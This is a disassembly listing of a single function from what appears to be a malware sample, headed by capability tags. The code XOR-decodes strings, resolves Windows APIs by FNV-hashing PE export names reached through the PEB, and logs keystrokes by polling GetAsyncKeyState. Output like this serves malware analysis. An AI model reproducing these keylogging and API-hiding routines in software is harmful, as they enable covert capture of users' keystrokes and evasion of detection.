Function at 0x1800bfb70
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x90
movaps xmmword [rax - 0x18], xmm6
mov ecx, 0x5dc
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x1801c6f20]
movdqa xmm6, xmmword [0x1801c6e50]
movdqa xmm7, xmmword [0x1801c6e40]
movdqa xmm10, xmmword [0x1801c7120]
movdqa xmm11, xmmword [0x1801c6e90]
movdqa xmm8, xmmword [0x1801c73d0]
mov eax, dword [0x1801c4ad8]
xor ecx, ecx
movsd xmm0, qword [0x1801c4ad0]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1801c4adc]
mov byte [rsp + 0x2c], al
movsd qword [rsp + 0x20], xmm0
cmp ebx, 2
jl 0x18006ad99
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
mov ecx, 8
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [0x1801c4ad0]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x24]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
xorps xmm1, xmm0
movd dword [rsp + 0x24], xmm1
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x36
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x18006adb0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18006adff
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18006ac9c
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm9, xmmword [rsp + 0x50]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x30]
add rsp, 0x90
pop rbx
jmp 0x1800bfb70
mov rax, rsp
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
mov rax, qword [0x180249a80]
xor rax, rsp
mov qword [rbp - 0x29], rax
mov ecx, dword [0x18024e310]
xor r14d, r14d
mov rax, qword gs:[0x58]
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x1801c6f20]
movdqa xmm7, xmmword [0x1801c6e50]
mov rax, qword [rax + rcx*8]
movdqa xmm6, xmmword [0x1801c6e40]
movdqa xmm11, xmmword [0x1801c7120]
movdqa xmm10, xmmword [0x1801c6e90]
movdqa xmm8, xmmword [0x1801c73d0]
mov edx, 4
mov eax, dword [rdx + rax]
cmp dword [0x18024deb8], eax
jg 0x1800c10ea
lea rdx, [rsp + 0x30]
lea rcx, [0x18024b390]
call fcn.1800b39e0
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x1800bfc5b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800bfc56
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800bfc9f
call fcn.1801a8d40
lea rdx, [rsp + 0x30]
lea rcx, [0x18024b390]
call fcn.1800b8ff0
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x1800bfcab
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800bfca6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800bfca6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1801a8d40
cmp byte [0x18024deb4], r14b
jne 0x1800bfe32
nop dword [rax + rax]
mov eax, dword [0x1801c4a80]
mov r8d, r14d
movsd xmm0, qword [str.TVR_bL_n_t]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801c4a84]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800bfdca
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm8
movdqa xmm2, xmm7
punpckhdq xmm0, xmm6
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.TVR_bL_n_t]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800bfde0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
setne byte [0x18024deb4]
test rax, rax
je 0x1800bfcc0
lea rdx, [rsp + 0x30]
mov word [rbp - 0x2e], gethostname
lea rcx, [0x18024b4e0]
mov word [rbp - 0x31], 0x7467
mov byte [rbp - 0x2f], 0x61
mov byte [rbp - 0x2c], r14b
call fcn.1800b5a40
mov rcx, rax
lea rdx, [rbp - 0x31]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r14b
jne 0x1800bfe65
cmp qword [rcx + 0x18], 0xf
mov r8, qword [rcx + 0x10]
jbe 0x1800bfe7c
mov rcx, qword [rcx]
mov qword [rsp + 0x120], rbx
cmp r8, rax
jne 0x1800bfe9a
lea rdx, [rbp - 0x31]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1800bfe9a
xor bl, bl
jmp 0x1800bfe9c
mov bl, 1
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x1800bfedb
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800bfed6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800bfed6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1801a8d40
test bl, bl
je 0x1800bfeeb
lea rcx, [0x18024b100]
call fcn.1800d46f0
lea rcx, [0x18024b100]
call fcn.1800c1d30
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1800bff2a
mov qword [rsp + 0x30], reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x30]
call fcn.180062690
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1800bff10
mov rax, qword [0x1802492b8]
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rdi
cmp byte [rax], r14b
jne 0x1800c054a
mov r10, qword [0x18024df00]
test r10, r10
jne 0x1800c0017
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800bfff8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800bfff8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xc49a875e
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800bfff3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800bffd0
cmp edx, 0xd502d6a1
je 0x1800c024c
test r8d, r8d
jne 0x1800bffb0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800c000d
cmp qword [rax + 0x30], r14
jne 0x1800bff80
mov r10, r14
mov qword [0x18024df00], r10
movzx eax, byte [0x1801c4ab8]
mov r8d, r14d
mov byte [rbp - 0x39], al
movups xmm0, xmmword [0x1801c4a88]
movups xmm1, xmmword [0x1801c4a98]
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x1801c4aa8]
movups xmmword [rbp - 0x59], xmm1
movups xmmword [rbp - 0x49], xmm0
cmp r12d, 2
jl 0x1800c0159
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp - 0x65]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x1800c0060
cmp r8d, 0x31
jge 0x1800c01a4
movsxd rax, r8d
lea r9, [rbp - 0x69]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1800c0170
xor r9d, r9d
lea r8, [0x1801aec24]
lea rdx, [rbp - 0x69]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0247
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0247
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x75e0367c
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0242
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0220
cmp r8d, 0xbe637762
je 0x1800c0269
test r9d, r9d
jne 0x1800c0200
mov rax, qword [rax]
jmp 0x1800c01d0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800c0010
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0317
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0317
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x76e0380f
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800c0312
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800c02f0
cmp r8d, 0xde66a3f7
je 0x1800c031c
test r9d, r9d
jne 0x1800c02d0
mov rcx, qword [rcx]
jmp 0x1800c02a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c03c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c03c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xe096ad5c
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c03c2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c03a0
cmp r8d, 0x10006256
je 0x1800c03cc
test r9d, r9d
jne 0x1800c0380
mov rax, qword [rax]
jmp 0x1800c0350
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0477
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0477
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7afff3d8
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0472
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0450
cmp r8d, 0xed966928
je 0x1800c047c
test r9d, r9d
jne 0x1800c0430
mov rax, qword [rax]
jmp 0x1800c0400
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0527
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0527
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3c9cea50
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0522
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0500
cmp r8d, 0x66c08371
je 0x1800c052c
test r9d, r9d
jne 0x1800c04e0
mov rax, qword [rax]
jmp 0x1800c04b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov byte [rax], r14b
lea rcx, [fcn.180074010]
call fcn.1800b21b0
call fcn.1800f0cf0
mov rax, qword [0x1802491f0]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1800c096c
mov rax, qword [0x18024def8]
test rax, rax
jne 0x1800c0653
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800c0614
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800c0614
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xd78bd955
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800c060f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800c05f0
cmp edx, 0x53118cb4
je 0x1800c0632
test r8d, r8d
jne 0x1800c05d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800c064a
cmp qword [rax + 0x30], r14
jne 0x1800c05a0
mov qword [0x18024def8], r14
jmp 0x1800c0656
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
mov qword [0x18024def8], r14
jmp 0x1800c0656
mov r14, rax
mov eax, dword [0x1801c4abc]
lea r8, [0x1801aec24]
mov dword [rbp - 0x31], eax
lea rdx, [rbp - 0x31]
movzx eax, word [0x1801c4ac0]
xor r9d, r9d
xor byte [rbp - 0x30], 0x37
xor ecx, ecx
xor byte [rbp - 0x2f], 0x38
xor byte [rbp - 0x2e], 0x39
mov word [rbp - 0x2d], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp - 0x2d], 0x3a
xor al, 0x3c
xor byte [rbp - 0x2c], 0x3b
mov byte [rbp - 0x2b], al
mov byte [rbp - 0x31], 0x53
call r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0737
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0737
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf87bbb62
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0732
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0710
cmp r8d, 0xe8303b54
je 0x1800c073c
test r9d, r9d
jne 0x1800c06f0
mov rax, qword [rax]
jmp 0x1800c06c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c07e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c07e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf97bbcf5
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800c07e2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800c07c0
cmp r8d, 0x4f98a829
je 0x1800c07ec
test r9d, r9d
jne 0x1800c07a0
mov rcx, qword [rcx]
jmp 0x1800c0770
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0897
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0897
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xaffba1ac
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0892
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0870
cmp r8d, 0x8159f586
je 0x1800c089c
test r9d, r9d
jne 0x1800c0850
mov rax, qword [rax]
jmp 0x1800c0820
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0947
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0947
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5b2223de
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800c0942
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1800c0920
cmp r8d, 0x4ceb6f66
je 0x1800c094c
test r9d, r9d
jne 0x1800c0900
mov rax, qword [rax]
jmp 0x1800c08d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x1800c103d
mov dword [rbp - 0x31], r14d
mov rax, qword gs:[0x60]
mov qword [rsp + 0x138], r15
mov r15, qword [rcx]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0a07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0a07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xfc33c270
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0a02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c09e0
cmp r8d, 0xe32fec37
je 0x1800c0a0c
test r9d, r9d
jne 0x1800c09c0
mov rax, qword [rax]
jmp 0x1800c0990
mov ecx, dword [rdi + 0x24]
mov r8d, 8
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, 0x40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x20], rcx
add rax, r10
mov rcx, 0xffffffffffffffff
mov rdx, r15
call rax
mov rax, qword [r15 + 0x40]
test rax, rax
je 0x1800c0a6a
cmp qword [r15 + 0x68], r14
je 0x1800c0a6a
mov qword [0x18024b148], rax
mov rax, qword [r15 + 0x68]
mov qword [0x18024b150], rax
jmp 0x1800c0f57
mov r10, qword [0x18024def0]
test r10, r10
jne 0x1800c0b37
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800c0b18
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800c0b18
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x945127dc
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800c0b13
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800c0af0
cmp edx, 0xb017a7d7
je 0x1800c0c27
test r8d, r8d
